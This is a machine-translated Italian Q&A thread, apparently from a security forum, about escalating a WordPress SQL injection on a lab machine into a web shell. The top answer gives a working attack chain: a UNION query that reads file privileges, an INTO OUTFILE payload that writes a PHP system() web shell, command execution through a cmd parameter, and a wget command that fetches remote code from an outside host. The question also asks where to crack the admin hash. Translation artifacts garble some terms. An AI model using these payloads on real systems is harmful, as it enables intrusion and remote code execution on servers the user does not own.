it-swarm-eu.dev

Caricamento della shell tramite SQLI

Ho trovato un vulnerabilità dell'iniezione SQL in una Wordpress all'interno di una delle mie macchine di laboratorio e sto cercando di sfruttarla per caricare una Shell.

Posso ottenere l'hash dell'amministratore ma sembra che sia abbastanza complesso dato che JTR e HASHCAT stanno impiegando molto tempo senza fortuna.

Ecco l'output di base da SQLmap:

web server operating system: Linux Ubuntu xxxxxxxxx
web application technology: PHP 5.2.6, Apache 2.2.11
back-end DBMS: MySQL 5
[02:24:38] [INFO] testing if current user is DBA
[02:24:38] [INFO] fetching current user
current user is DBA:    True
[02:24:38] [INFO] fetching database names
[02:24:38] [INFO] the SQL query used returns 3 entries
[02:24:38] [INFO] resumed: "information_schema","information_schema"
[02:24:38] [INFO] resumed: "mysql","mysql"
[02:24:38] [INFO] resumed: "wordpress","wordpress"
available databases [3]:                                                                                                                                               
[*] information_schema
[*] mysql
[*] wordpress

Provai --os-Shell opzione ma sembra non avere accesso in scrittura quando ottengo questi errori:

[02:26:36] [ATTENZIONE] impossibile recuperare automaticamente qualsiasi percorso del server web

[02:26:36] [INFO] sta tentando di caricare il file stager su '/ var/www' tramite la tecnica LIMIT INTO OUTFILE

[02:26:37] [ATTENZIONE] impossibile caricare il file stager su '/ var/www'

[02:26:37] [INFO] sta tentando di caricare lo stager di file su '/ var/www' tramite la tecnica UNION

[02:26:37] [WARNING] prevede che i caratteri spazzatura all'interno del file rimangano dalla query UNION

[02:26:38] [ATTENZIONE] sembra che il file non sia stato scritto, ciò può accadere se l'utente del processo DBMS non ha privilegi di scrittura nel percorso di destinazione

Posso ottenere --sql-Shell senza problemi. Ho provato i passaggi qui ( http://evilzone.org/tutorials/upload-Shell-with-sql-injection/ ) per caricare una Shell ma ottengo il seguente errore

[02:00:16] [ATTENZIONE] l'esecuzione di query SQL personalizzate è disponibile solo quando sono supportate query in pila

Ora, ho bisogno di un modo per caricare una Shell sul computer di destinazione, qualche pensiero? Anche qualche idea su dove posso rompere Wordpress admin password hash online?

5
Ahmed Taher

Prima di tutto se si esegue il debug di un errore sqlmap è necessario aumentare la verbosità. Nessuno può effettivamente rispondere a questa domanda, perché non hai raccolto le informazioni appropriate.

Il --os-Shell funziona per MySQL tentando di utilizzare un into outfile per scrivere un file nella radice web. Questo può fallire per qualsiasi numero di motivi. Il motivo più comune è che il database e il server web e macchine diverse. I set di regole predefinite di Ubuntu per AppArmor vietano a MySQL di scrivere su/var/www /. Anche, into outfile richiede privilegi sui file che non dovrebbero mai essere concessi (ma spesso lo sono). È possibile provare a utilizzare la funzionalità file-io di sqlmap per leggere e scrivere nel file system remoto.

nel contesto di questa applicazione, scaricando il contenuto del Wordpress il database MySQL produrrà l'hash della password dell'amministratore. Craccare questo hash produrrà un Wordpress che quasi sempre ha la capacità di caricare e installare Wordpress .... o PHP.

6
rook

Sì, è possibile scrivere Shell sul server Web con istruzioni SQL senza accedere al pannello di amministrazione o a qualsiasi altro pannello di controllo.

Ma per questo devi soddisfare determinati requisiti:

  1. Devi avere i privilegi di scrittura e una directory scrivibile (dove devi caricare Shell)
  2. Percorso radice (ovvero /var/www/website/)
  3. Le citazioni magiche devono essere abilitate

Verifica i privilegi di scrittura

Ora la domanda è: come verificare se si dispone delle autorizzazioni di scrittura? Quello che puoi semplicemente fare è leggere file_priv dal mysql.user tavolo:

union select 1,2,3,concat(user(),0x3a,file_priv) from mysql.user--

Se dice Y dopo il tuo attuale utente, allora sei fortunato e hai i privilegi di scrittura.

Creare un file per ricevere Shell

Ora è il momento di utilizzare le dichiarazioni di MySQL. Useremo INTO OUTFILE, che scrive le righe selezionate su un file. La sintassi di base è:

select column_name from table_name into outfile "filepath/file.extension

Qualcosa del genere dovrebbe creare un file chiamato Shell.php nella directory del sito Web e scrivi che PHP al suo interno:

http://website.com/file.php?id=1 union select 1,"<?php system($_REQUEST['cmd'])?>",3,4 INTO OUTFILE " /var/www/website/public_html/Shell.php"

Accedi a Shell

Ora possiamo accedere a Shell visitando http://website.com/Shell.php?cmd=whoami. Puoi eseguire qualsiasi comando dopo cmd=. Ora puoi caricare un shellcode pronto sul server usando curl o `wget (su server Linux):

`http://website.com/Shell.php?cmd=wget http://othersite.com/Shell.txt -O code.php`

E quindi puoi accedere a Shell con:

http://website.com/code.php

Spero tu abbia capito tutto :)

7
Ammar Brohi